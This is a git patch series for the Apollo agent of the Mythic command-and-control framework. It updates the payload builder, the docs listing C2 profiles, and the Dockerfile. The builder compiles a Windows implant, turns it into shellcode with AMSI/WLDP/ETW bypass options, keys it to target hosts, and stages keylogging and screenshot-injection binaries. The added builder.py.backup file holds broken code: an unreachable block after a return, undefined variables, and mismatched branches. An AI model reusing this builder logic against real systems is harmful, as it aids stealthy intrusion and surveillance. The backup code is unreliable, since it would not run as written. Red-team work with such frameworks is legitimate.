b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 94b69570..6562e770 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -11,6 +11,7 @@ import json import pathlib import hashlib +import toml from mythic_container.MythicRPC import * @@ -285,12 +286,41 @@ async def build(self) -> BuildResponse: elif isinstance(val, dict): extra_variables = {**extra_variables, **val} elif key == "raw_c2_config" and profile['name'] == "httpx": - # Handle httpx raw_c2_config file parameter + # Handle httpx raw_c2_config file parameter like Xenon does + # Apollo will process it internally AND pass it through to C2 profile if val and val != "": - # Store the config content for embedding - special_files_map["Config.cs"][prefixed_key] = val + try: + # Read configuration file contents + response = await SendMythicRPCFileGetContent(MythicRPCFileGetContentMessage(val)) + + if not response.Success: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Error reading raw_c2_config file: {response.Error}" + return resp + + raw_config_file_data = response.Content.decode('utf-8') + + # Try parsing the content as JSON first + try: + config_data = json.loads(raw_config_file_data) + except json.JSONDecodeError: + # If JSON fails, try parsing as TOML + try: + config_data = toml.loads(raw_config_file_data) + except Exception as toml_err: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Failed to parse raw_c2_config as JSON or TOML: {toml_err}" + return resp + + # Store the parsed config for Apollo to use + special_files_map["Config.cs"][prefixed_key] = raw_config_file_data + + except Exception as err: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Error processing raw_c2_config: {str(err)}" + return resp else: - # Use default config + # Use default config (empty string - Apollo will use embedded default) special_files_map["Config.cs"][prefixed_key] = "" else: special_files_map["Config.cs"][prefixed_key] = json.dumps(val) diff --git a/README.md b/README.md index bca85219..49d5eb8c 100644 --- a/README.md +++ b/README.md @@ -25,6 +25,9 @@ Once installed, restart Mythic to build a new agent. - Unmanged PE, .NET Assembly, and PowerShell Script Execution - User Exploitation Suite - SOCKSv5 Support +- Advanced HTTPX Profile with Malleable Configuration Support +- Message Transform Support (Base64, NetBIOS, XOR, etc.) +- Domain Rotation and Proxy Support ## Commands Manual Quick Reference @@ -100,6 +103,10 @@ whoami | `whoami` The HTTP profile calls back to the Mythic server over the basic, non-dynamic profile. When selecting options to be stamped into Apollo at compile time, all options are respected with the exception of those parameters relating to GET requests. +### [HTTPX Profile](https://github.com/MythicC2Profiles/httpx) + +Advanced HTTP profile with malleable configuration support and message transforms. Provides significantly more flexibility and OPSEC benefits compared to the basic HTTP profile, making it ideal for red team operations. + ### [SMB Profile](https://github.com/MythicC2Profiles/smb) Establish communications over SMB named pipes. By default, the named pipe name will be a randomly generated GUID. @@ -108,6 +115,10 @@ Establish communications over SMB named pipes. By default, the named pipe name w Establish communications over a specified network socket. Note: If unelevated, the user may receive a prompt to allow communications from the binary to occur over the network. +### [WebSocket Profile](https://github.com/MythicC2Profiles/websocket) + +Establish communications over WebSocket connections for real-time bidirectional communication. + ## SOCKSv5 Support Apollo can route SOCKS traffic regardless of what other commands are compiled in. To start the socks server, issue `socks -Port [port]`. This starts a SOCKS server on the Mythic server which is `proxychains4` compatible. To stop the SOCKS proxy, navigate to the SOCKS page in the Mythic UI and terminate it. diff --git a/documentation-payload/apollo/c2_profiles/_index.md b/documentation-payload/apollo/c2_profiles/_index.md index 8b727128..9476d823 100644 --- a/documentation-payload/apollo/c2_profiles/_index.md +++ b/documentation-payload/apollo/c2_profiles/_index.md @@ -7,4 +7,12 @@ pre = "3. " # Available C2 Profiles +Apollo supports multiple C2 profiles for different communication methods and OPSEC requirements: + +- **HTTP**: Basic HTTP communication profile +- **HTTPX**: Advanced HTTP profile with malleable configuration +- **SMB**: Named pipe communication over SMB +- **TCP**: Direct TCP socket communication +- **WebSocket**: Real-time bidirectional WebSocket communication + {{% children %}} \ No newline at end of file From b7df72742742b4fef3bbdadc5e8c4fc4aa27c60e Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Tue, 21 Oct 2025 23:34:07 +0200 Subject: [PATCH 15/37] Add sdout for dotnet build --- .../apollo/mythic/agent_functions/builder.py | 43 ++ .../mythic/agent_functions/builder.py.backup | 660 ++++++++++++++++++ 2 files changed, 703 insertions(+) create mode 100644 Payload_Type/apollo/apollo/mythic/agent_functions/builder.py.backup diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py index 6562e770..b285a384 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py @@ -385,6 +385,20 @@ async def build(self) -> BuildResponse: if stderr: stdout_err += f'[stderr]\n{stderr.decode()}' + "\n" + command + # Check if dotnet build command succeeded + if proc.returncode != 0: + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout=f"dotnet build failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}", + StepSuccess=False + )) + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_message = f"dotnet build failed with exit code {proc.returncode}" + resp.build_stderr = stdout_err + return resp + if os.path.exists(output_path): await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, @@ -458,6 +472,20 @@ async def build(self) -> BuildResponse: stdout_err += f'[stdout]\n{stdout.decode()}\n' stdout_err += f'[stderr]\n{stderr.decode()}' + # Check if donut command succeeded + if proc.returncode != 0: + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Donut", + StepStdout=f"Donut failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}", + StepSuccess=False + )) + resp.build_message = f"Donut failed with exit code {proc.returncode}" + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_stderr = stdout_err + return resp + if not os.path.exists(shellcode_path): await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, @@ -510,6 +538,21 @@ async def build(self) -> BuildResponse: stdout_err += f"[stdout]\n{stdout.decode()}" if stderr: stdout_err += f"[stderr]\n{stderr.decode()}" + + # Check if service build command succeeded + if proc.returncode != 0: + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Service Compiling", + StepStdout=f"Service build failed with exit code {proc.returncode}\nCommand: {command}\n{stdout_err}", + StepSuccess=False + )) + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_message = f"Service build failed with exit code {proc.returncode}" + resp.build_stderr = stdout_err + return resp + output_path = ( pathlib.PurePath(agent_build_path.name) / "Service" diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py.backup b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py.backup new file mode 100644 index 00000000..b4ae14c5 --- /dev/null +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/builder.py.backup @@ -0,0 +1,660 @@ +import datetime +import time + +from mythic_container.PayloadBuilder import * +from mythic_container.MythicCommandBase import * +import os, fnmatch, tempfile, sys, asyncio +from distutils.dir_util import copy_tree +from mythic_container.MythicGoRPC.send_mythic_rpc_callback_next_checkin_range import * +import traceback +import shutil +import json +import pathlib +import hashlib +import toml +from mythic_container.MythicRPC import * + + +class Apollo(PayloadType): + name = "apollo" + file_extension = "exe" + author = "@djhohnstein, @its_a_feature_" + mythic_encrypts = True + supported_os = [ + SupportedOS.Windows + ] + semver = "2.3.51" + wrapper = False + wrapped_payloads = ["scarecrow_wrapper", "service_wrapper"] + c2_profiles = ["http", "httpx", "smb", "tcp", "websocket"] + note = """ +A fully featured .NET 4.0 compatible training agent. Version: {}. +NOTE: P2P Not compatible with v2.2 agents! +NOTE: v2.3.2+ has a different bof loader than 2.3.1 and are incompatible since their arguments are different + """.format(semver) + supports_dynamic_loading = True + shellcode_format_options = ["Binary", "Base64", "C", "Ruby", "Python", "Powershell", "C#", "Hex"] + shellcode_bypass_options = ["None", "Abort on fail", "Continue on fail"] + supports_multiple_c2_instances_in_build = False + supports_multiple_c2_in_build = False + c2_parameter_deviations = { + "http": { + "get_uri": C2ParameterDeviation( + supported=False, + choices=[] # Disabled parameter, but frontend expects array + ), + "query_path_name": C2ParameterDeviation( + supported=False, + choices=[] # Disabled parameter, but frontend expects array + ), + #"headers": C2ParameterDeviation(supported=True, dictionary_choices=[ + # DictionaryChoice(name="User-Agent", default_value="Hello", default_show=True), + # DictionaryChoice(name="HostyHost", default_show=False, default_value=""), + #]) + } + } + build_parameters = [ + BuildParameter( + name="output_type", + parameter_type=BuildParameterType.ChooseOne, + choices=["WinExe", "Shellcode", "Service", "Source"], + default_value="WinExe", + description="Output as shellcode, executable, sourcecode, or service.", + ), + BuildParameter( + name="shellcode_format", + parameter_type=BuildParameterType.ChooseOne, + choices=shellcode_format_options, + default_value="Binary", + description="Donut shellcode format options.", + group_name="Shellcode Options", + hide_conditions=[ + HideCondition(name="output_type", operand=HideConditionOperand.NotEQ, value="Shellcode") + ] + ), + BuildParameter( + name="shellcode_bypass", + parameter_type=BuildParameterType.ChooseOne, + choices=shellcode_bypass_options, + default_value="Continue on fail", + description="Donut shellcode AMSI/WLDP/ETW Bypass options.", + group_name="Shellcode Options", + hide_conditions=[ + HideCondition(name="output_type", operand=HideConditionOperand.NotEQ, value="Shellcode") + ] + ), + BuildParameter( + name="adjust_filename", + parameter_type=BuildParameterType.Boolean, + default_value=False, + description="Automatically adjust payload extension based on selected choices.", + ), + BuildParameter( + name="debug", + parameter_type=BuildParameterType.Boolean, + default_value=False, + description="Create a DEBUG version.", + ), + BuildParameter( + name="enable_keying", + parameter_type=BuildParameterType.Boolean, + default_value=False, + description="Enable environmental keying to restrict agent execution to specific systems.", + group_name="Keying Options", + ), + BuildParameter( + name="keying_method", + parameter_type=BuildParameterType.ChooseOne, + choices=["Hostname", "Domain", "Registry"], + default_value="Hostname", + description="Method of environmental keying.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True) + ] + ), + BuildParameter( + name="keying_value", + parameter_type=BuildParameterType.String, + default_value="", + description="The hostname or domain name the agent should match (case-insensitive). Agent will exit if it doesn't match.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.EQ, value="Registry") + ] + ), + BuildParameter( + name="registry_path", + parameter_type=BuildParameterType.String, + default_value="", + description="Full registry path (e.g., HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName)", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] + ), + BuildParameter( + name="registry_value", + parameter_type=BuildParameterType.String, + default_value="", + description="The registry value to check against.", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] + ), + BuildParameter( + name="registry_comparison", + parameter_type=BuildParameterType.ChooseOne, + choices=["Matches", "Contains"], + default_value="Matches", + description="Matches (secure, hash-based) or Contains (WEAK, plaintext comparison). WARNING: Contains mode stores the value in plaintext!", + group_name="Keying Options", + hide_conditions=[ + HideCondition(name="enable_keying", operand=HideConditionOperand.NotEQ, value=True), + HideCondition(name="keying_method", operand=HideConditionOperand.NotEQ, value="Registry") + ] + ) + ] + agent_path = pathlib.Path(".") / "apollo" / "mythic" + agent_code_path = pathlib.Path(".") / "apollo" / "agent_code" + agent_icon_path = agent_path / "agent_functions" / "apollo.svg" + build_steps = [ + BuildStep(step_name="Gathering Files", step_description="Copying files to temp location"), + BuildStep(step_name="Compiling", step_description="Compiling with nuget and dotnet"), + BuildStep(step_name="Donut", step_description="Converting to Shellcode"), + BuildStep(step_name="Creating Service", step_description="Creating Service EXE from Shellcode") + ] + + #async def command_help_function(self, msg: HelpFunctionMessage) -> HelpFunctionMessageResponse: + # return HelpFunctionMessageResponse(output=f"we did it!\nInput: {msg}", success=False) + + + async def build(self) -> BuildResponse: + # this function gets called to create an instance of your payload + resp = BuildResponse(status=BuildStatus.Error) + # debugging + # resp.status = BuildStatus.Success + # return resp + #end debugging + defines_commands_upper = ["#define EXIT"] + if self.get_parameter('debug'): + possibleCommands = await SendMythicRPCCommandSearch(MythicRPCCommandSearchMessage( + SearchPayloadTypeName="apollo", + )) + if possibleCommands.Success: + resp.updated_command_list = [c.Name for c in possibleCommands.Commands] + defines_commands_upper = [f"#define {x.upper()}" for x in resp.updated_command_list] + else: + defines_commands_upper = [f"#define {x.upper()}" for x in self.commands.get_commands()] + # Handle keying parameters + enable_keying = self.get_parameter('enable_keying') + keying_enabled = "true" if enable_keying else "false" + keying_method_str = self.get_parameter('keying_method') if enable_keying else "" + + # Map keying method to numeric value for obfuscation + # 0 = None, 1 = Hostname, 2 = Domain, 3 = Registry + keying_method_map = { + "Hostname": "1", + "Domain": "2", + "Registry": "3" + } + keying_method = keying_method_map.get(keying_method_str, "0") + + # Hash the keying value for security (force uppercase before hashing) + keying_value_hash = "" + registry_path = "" + registry_value = "" + registry_comparison = "0" # Default to 0 for numeric field + + if enable_keying: + if keying_method_str == "Registry": + # Handle registry keying + registry_path = self.get_parameter('registry_path') if self.get_parameter('registry_path') else "" + registry_comparison_str = self.get_parameter('registry_comparison') if self.get_parameter('registry_comparison') else "Matches" + + # Map registry comparison to numeric value: 1 = Matches, 2 = Contains + registry_comparison = "1" if registry_comparison_str == "Matches" else "2" + + registry_value_raw = self.get_parameter('registry_value') if self.get_parameter('registry_value') else "" + + if registry_comparison_str == "Matches": + # Hash the registry value for secure matching + if registry_value_raw: + plaintext_value = registry_value_raw.upper() + keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest() + elif registry_comparison_str == "Contains": + # Store plaintext for contains matching (weak security) + registry_value = registry_value_raw + else: + # Handle hostname/domain keying + if self.get_parameter('keying_value'): + plaintext_value = self.get_parameter('keying_value').upper() + keying_value_hash = hashlib.sha256(plaintext_value.encode('utf-8')).hexdigest() + + special_files_map = { + "Config.cs": { + "payload_uuid": self.uuid, + "keying_enabled": keying_enabled, + "keying_method": keying_method, + "keying_value_hash": keying_value_hash, + "registry_path": registry_path, + "registry_value": registry_value, + "registry_comparison": registry_comparison, + }, + } + extra_variables = { + + } + success_message = f"Apollo {self.uuid} Successfully Built" + stdout_err = "" + defines_profiles_upper = [] + compileType = "debug" if self.get_parameter('debug') else "release" + buildPath = "Debug" if self.get_parameter('debug') else "Release" + if len(set([info.get_c2profile()["is_p2p"] for info in self.c2info])) > 1: + resp.set_status(BuildStatus.Error) + resp.set_build_message("Cannot mix egress and P2P C2 profiles") + return resp + + for c2 in self.c2info: + profile = c2.get_c2profile() + defines_profiles_upper.append(f"#define {profile['name'].upper()}") + for key, val in c2.get_parameters_dict().items(): + prefixed_key = f"{profile['name'].lower()}_{key}" + + if isinstance(val, dict) and 'enc_key' in val: + if val["value"] == "none": + resp.set_status(BuildStatus.Error) + resp.set_build_message("Apollo does not support plaintext encryption") + return resp + + stdout_err += "Setting {} to {}".format(prefixed_key, val["enc_key"] if val["enc_key"] is not None else "") + + # TODO: Prefix the AESPSK variable and also make it specific to each profile + special_files_map["Config.cs"][key] = val["enc_key"] if val["enc_key"] is not None else "" + elif isinstance(val, str): + special_files_map["Config.cs"][prefixed_key] = val.replace("\\", "\\\\") + elif isinstance(val, bool): + if key == "encrypted_exchange_check" and not val: + resp.set_status(BuildStatus.Error) + resp.set_build_message(f"Encrypted exchange check needs to be set for the {profile['name']} C2 profile") + return resp + special_files_map["Config.cs"][prefixed_key] = "true" if val else "false" + elif isinstance(val, dict): + extra_variables = {**extra_variables, **val} + elif key == "raw_c2_config" and profile['name'] == "httpx": + # Handle httpx raw_c2_config file parameter like Xenon does + # Apollo will process it internally AND pass it through to C2 profile + if val and val != "": + try: + # Read configuration file contents + response = await SendMythicRPCFileGetContent(MythicRPCFileGetContentMessage(val)) + + if not response.Success: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Error reading raw_c2_config file: {response.Error}" + return resp + + raw_config_file_data = response.Content.decode('utf-8') + + # Try parsing the content as JSON first + try: + config_data = json.loads(raw_config_file_data) + except json.JSONDecodeError: + # If JSON fails, try parsing as TOML + try: + config_data = toml.loads(raw_config_file_data) + except Exception as toml_err: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Failed to parse raw_c2_config as JSON or TOML: {toml_err}" + return resp + + # Store the parsed config for Apollo to use + special_files_map["Config.cs"][prefixed_key] = raw_config_file_data + + except Exception as err: + resp.set_status(BuildStatus.Error) + resp.build_stderr = f"Error processing raw_c2_config: {str(err)}" + return resp + else: + # Use default config (empty string - Apollo will use embedded default) + special_files_map["Config.cs"][prefixed_key] = "" + else: + special_files_map["Config.cs"][prefixed_key] = json.dumps(val) + + try: + # make a temp directory for it to live + agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) + # shutil to copy payload files over + copy_tree(str(self.agent_code_path), agent_build_path.name) + # first replace everything in the c2 profiles + for csFile in get_csharp_files(agent_build_path.name): + templateFile = open(csFile, "rb").read().decode() + templateFile = templateFile.replace("#define C2PROFILE_NAME_UPPER", "\n".join(defines_profiles_upper)) + templateFile = templateFile.replace("#define COMMAND_NAME_UPPER", "\n".join(defines_commands_upper)) + for specialFile in special_files_map.keys(): + if csFile.endswith(specialFile): + for key, val in special_files_map[specialFile].items(): + templateFile = templateFile.replace(key + "_here", val) + if specialFile == "Config.cs": + if len(extra_variables.keys()) > 0: + extra_data = "" + for key, val in extra_variables.items(): + extra_data += " { \"" + key + "\", \"" + val + "\" },\n" + templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", extra_data) + else: + templateFile = templateFile.replace("HTTP_ADDITIONAL_HEADERS_HERE", "") + with open(csFile, "wb") as f: + f.write(templateFile.encode()) + + # Determine if we need to embed the default config + embed_default_config = True + for c2 in self.c2info: + profile = c2.get_c2profile() + if profile['name'] == 'httpx': + raw_config = c2.get_parameters_dict().get('raw_c2_config', '') + if raw_config and raw_config != "": + embed_default_config = False + stdout_err += f"Custom httpx config provided, skipping default config embedding\n" + break + + if embed_default_config: + stdout_err += f"Using embedded default httpx config\n" + + output_path = f"{agent_build_path.name}/{buildPath}/Apollo.exe" + + # Build command with conditional embedding + if self.get_parameter('debug'): + command = f"dotnet build -c {compileType} -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/" + else: + command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:Platform=\"Any CPU\" -p:EmbedDefaultConfig={str(embed_default_config).lower()} -o {agent_build_path.name}/{buildPath}/" + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Gathering Files", + StepStdout="Found all files for payload", + StepSuccess=True + )) + proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) + stdout, stderr = await proc.communicate() + + build_success = True + if proc.returncode != 0: + build_success = False + logging.error(f"Command failed with exit code {proc.returncode}") + logging.error(f"[stderr]: {stderr.decode()}") + stdout_err += f'[stderr]\n{stderr.decode()}' + "\n" + command + else: + logging.info(f"[stdout]: {stdout.decode()}") + stdout_err += f'\n[stdout]\n{stdout.decode()}\n' + logging.info(f"[+] Compiled agent written to {output_path}") + + if build_success and os.path.exists(output_path): + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout="Successfully compiled payload", + StepSuccess=True + )) + resp.status = BuildStatus.Success + + targetExeAsmPath = "/srv/ExecuteAssembly.exe" + targetPowerPickPath = "/srv/PowerShellHost.exe" + targetScreenshotInjectPath = "/srv/ScreenshotInject.exe" + targetKeylogInjectPath = "/srv/KeylogInject.exe" + targetExecutePEPath = "/srv/ExecutePE.exe" + targetInteropPath = "/srv/ApolloInterop.dll" + shutil.move(f"{agent_build_path.name}/{buildPath}/ExecuteAssembly.exe", targetExeAsmPath) + shutil.move(f"{agent_build_path.name}/{buildPath}/PowerShellHost.exe", targetPowerPickPath) + shutil.move(f"{agent_build_path.name}/{buildPath}/ScreenshotInject.exe", targetScreenshotInjectPath) + shutil.move(f"{agent_build_path.name}/{buildPath}/KeylogInject.exe", targetKeylogInjectPath) + shutil.move(f"{agent_build_path.name}/{buildPath}/ExecutePE.exe", targetExecutePEPath) + shutil.move(f"{agent_build_path.name}/{buildPath}/ApolloInterop.dll", targetInteropPath) + if self.get_parameter('output_type') == "Source": + shutil.make_archive(f"/tmp/{agent_build_path.name}/source", "zip", f"{agent_build_path.name}") + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Donut", + StepStdout="Not converting to Shellcode through donut, passing through.", + StepSuccess=True + )) + resp.payload = open(f"/tmp/{agent_build_path.name}/source.zip", 'rb').read() + resp.build_message = success_message + resp.status = BuildStatus.Success + resp.build_stdout = stdout_err + resp.updated_filename = adjust_file_name(self.filename, + self.get_parameter("shellcode_format"), + self.get_parameter("output_type"), + self.get_parameter("adjust_filename")) + #need to cleanup zip folder + shutil.rmtree(f"/tmp/tmp") + elif self.get_parameter('output_type') == "WinExe": + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Donut", + StepStdout="Not converting to Shellcode through donut, passing through.", + StepSuccess=True + )) + resp.payload = open(output_path, 'rb').read() + resp.build_message = success_message + resp.status = BuildStatus.Success + resp.build_stdout = stdout_err + resp.updated_filename = adjust_file_name(self.filename, + self.get_parameter("shellcode_format"), + self.get_parameter("output_type"), + self.get_parameter("adjust_filename")) + else: + # Build failed + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout=f"Build failed with exit code {proc.returncode if 'proc' in locals() else 'unknown'}", + StepSuccess=False + )) + resp.build_message = "Build failed" + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_stderr = stdout_err + return resp + stdout, stderr = await proc.communicate() + command = "{} -x3 -k2 -o loader.bin -i {}".format(donutPath, output_path) + if self.get_parameter('output_type') == "Shellcode": + command += f" -f{self.shellcode_format_options.index(self.get_parameter('shellcode_format')) + 1}" + command += f" -b{self.shellcode_bypass_options.index(self.get_parameter('shellcode_bypass')) + 1}" + # need to go through one more step to turn our exe into shellcode + proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + cwd=agent_build_path.name) + stdout, stderr = await proc.communicate() + + stdout_err += f'[stdout]\n{stdout.decode()}\n' + stdout_err += f'[stderr]\n{stderr.decode()}' + + if not os.path.exists(shellcode_path): + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Donut", + StepStdout=f"Failed to pass through donut:\n{command}\n{stdout_err}", + StepSuccess=False + )) + resp.build_message = "Failed to create shellcode" + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_stderr = stdout_err + else: + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Donut", + StepStdout=f"Successfully passed through donut:\n{command}", + StepSuccess=True + )) + if self.get_parameter('output_type') == "Shellcode": + resp.payload = open(shellcode_path, 'rb').read() + resp.build_message = success_message + resp.status = BuildStatus.Success + resp.build_stdout = stdout_err + resp.updated_filename = adjust_file_name(self.filename, + self.get_parameter("shellcode_format"), + self.get_parameter("output_type"), + self.get_parameter("adjust_filename")) + else: + # we're generating a service executable + working_path = ( + pathlib.PurePath(agent_build_path.name) + / "Service" + / "WindowsService1" + / "Resources" + / "loader.bin" + ) + shutil.move(shellcode_path, working_path) + if self.get_parameter('debug'): + command = f"dotnet build -c {compileType} -p:OutputType=WinExe -p:Platform=\"Any CPU\"" + else: + command = f"dotnet build -c {compileType} -p:DebugType=None -p:DebugSymbols=false -p:OutputType=WinExe -p:Platform=\"Any CPU\"" + proc = await asyncio.create_subprocess_shell( + command, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + cwd=pathlib.PurePath(agent_build_path.name) / "Service", + ) + stdout, stderr = await proc.communicate() + if stdout: + stdout_err += f"[stdout]\n{stdout.decode()}" + if stderr: + stdout_err += f"[stderr]\n{stderr.decode()}" + output_path = ( + pathlib.PurePath(agent_build_path.name) + / "Service" + / "WindowsService1" + / "bin" + / f"{buildPath}" + / "net451" + / "WindowsService1.exe" + ) + output_path = str(output_path) + if os.path.exists(output_path): + resp.payload = open(output_path, "rb").read() + resp.status = BuildStatus.Success + resp.build_message = "New Service Executable created!" + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Creating Service", + StepStdout=stdout_err, + StepSuccess=True + )) + resp.updated_filename = adjust_file_name(self.filename, + self.get_parameter("shellcode_format"), + self.get_parameter("output_type"), + self.get_parameter("adjust_filename")) + else: + resp.payload = b"" + resp.status = BuildStatus.Error + resp.build_stderr = stdout_err + "\n" + output_path + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Creating Service", + StepStdout=stdout_err, + StepSuccess=False + )) + + else: + # something went wrong, return our errors + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Compiling", + StepStdout=stdout_err, + StepSuccess=False + )) + resp.status = BuildStatus.Error + resp.payload = b"" + resp.build_message = "Unknown error while building payload. Check the stderr for this build." + resp.build_stderr = stdout_err + except Exception as e: + resp.payload = b"" + resp.status = BuildStatus.Error + resp.build_message = "Error building payload: " + str(traceback.format_exc()) + #await asyncio.sleep(10000) + return resp + + async def check_if_callbacks_alive(self, + message: PTCheckIfCallbacksAliveMessage) -> PTCheckIfCallbacksAliveMessageResponse: + response = PTCheckIfCallbacksAliveMessageResponse(Success=True) + for callback in message.Callbacks: + if callback.SleepInfo == "": + continue # can't do anything if we don't know the expected sleep info of the agent + try: + sleep_info = json.loads(callback.SleepInfo) + except Exception as e: + continue + atLeastOneCallbackWithinRange = False + try: + for activeC2, info in sleep_info.items(): + if activeC2 == "websocket" and callback.LastCheckin == "1970-01-01 00:00:00Z": + atLeastOneCallbackWithinRange = True + continue + checkinRangeResponse = await SendMythicRPCCallbackNextCheckinRange( + MythicRPCCallbackNextCheckinRangeMessage( + LastCheckin=callback.LastCheckin, + SleepJitter=info["jitter"], + SleepInterval=info["interval"], + )) + if not checkinRangeResponse.Success: + continue + lastCheckin = datetime.datetime.strptime(callback.LastCheckin, '%Y-%m-%dT%H:%M:%S.%fZ') + minCheckin = datetime.datetime.strptime(checkinRangeResponse.Min, '%Y-%m-%dT%H:%M:%S.%fZ') + maxCheckin = datetime.datetime.strptime(checkinRangeResponse.Max, '%Y-%m-%dT%H:%M:%S.%fZ') + if minCheckin <= lastCheckin <= maxCheckin: + atLeastOneCallbackWithinRange = True + response.Callbacks.append(PTCallbacksToCheckResponse( + ID=callback.ID, + Alive=atLeastOneCallbackWithinRange, + )) + except Exception as e: + logger.info(e) + logger.info(callback.to_json()) + return response + + +def get_csharp_files(base_path: str) -> list[str]: + results = [] + for root, dirs, files in os.walk(base_path): + for name in files: + if fnmatch.fnmatch(name, "*.cs"): + results.append(os.path.join(root, name)) + if len(results) == 0: + raise Exception("No payload files found with extension .cs") + return results + + +def adjust_file_name(filename, shellcode_format, output_type, adjust_filename): + if not adjust_filename: + return filename + filename_pieces = filename.split(".") + original_filename = ".".join(filename_pieces[:-1]) + if output_type == "WinExe": + return original_filename + ".exe" + elif output_type == "Service": + return original_filename + ".exe" + elif output_type == "Source": + return original_filename + ".zip" + elif shellcode_format == "Binary": + return original_filename + ".bin" + elif shellcode_format == "Base64": + return original_filename + ".txt" + elif shellcode_format == "C": + return original_filename + ".c" + elif shellcode_format == "Ruby": + return original_filename + ".rb" + elif shellcode_format == "Python": + return original_filename + ".py" + elif shellcode_format == "Powershell": + return original_filename + ".ps1" + elif shellcode_format == "C#": + return original_filename + ".cs" + elif shellcode_format == "Hex": + return original_filename + ".txt" + else: + return filename From 86df54767f5f8cd9b994d79dbd75e7e75fdb7884 Mon Sep 17 00:00:00 2001 From: Melvin Langvik Date: Tue, 21 Oct 2025 23:45:01 +0200 Subject: [PATCH 16/37] Attempt 2 at installing toml --- Payload_Type/apollo/Dockerfile | 2 +- agent_capabilities.json | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile index 29893984..07c5b48c 100644 --- a/Payload_Type/apollo/Dockerfile +++ b/Payload_Type/apollo/Dockerfile @@ -12,7 +12,7 @@ RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/rel WORKDIR /Mythic/ RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.6.0 mslex impacket toml +RUN /venv/bin/python -m pip install mythic-container==0.6.0 mslex impacket toml RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0 COPY 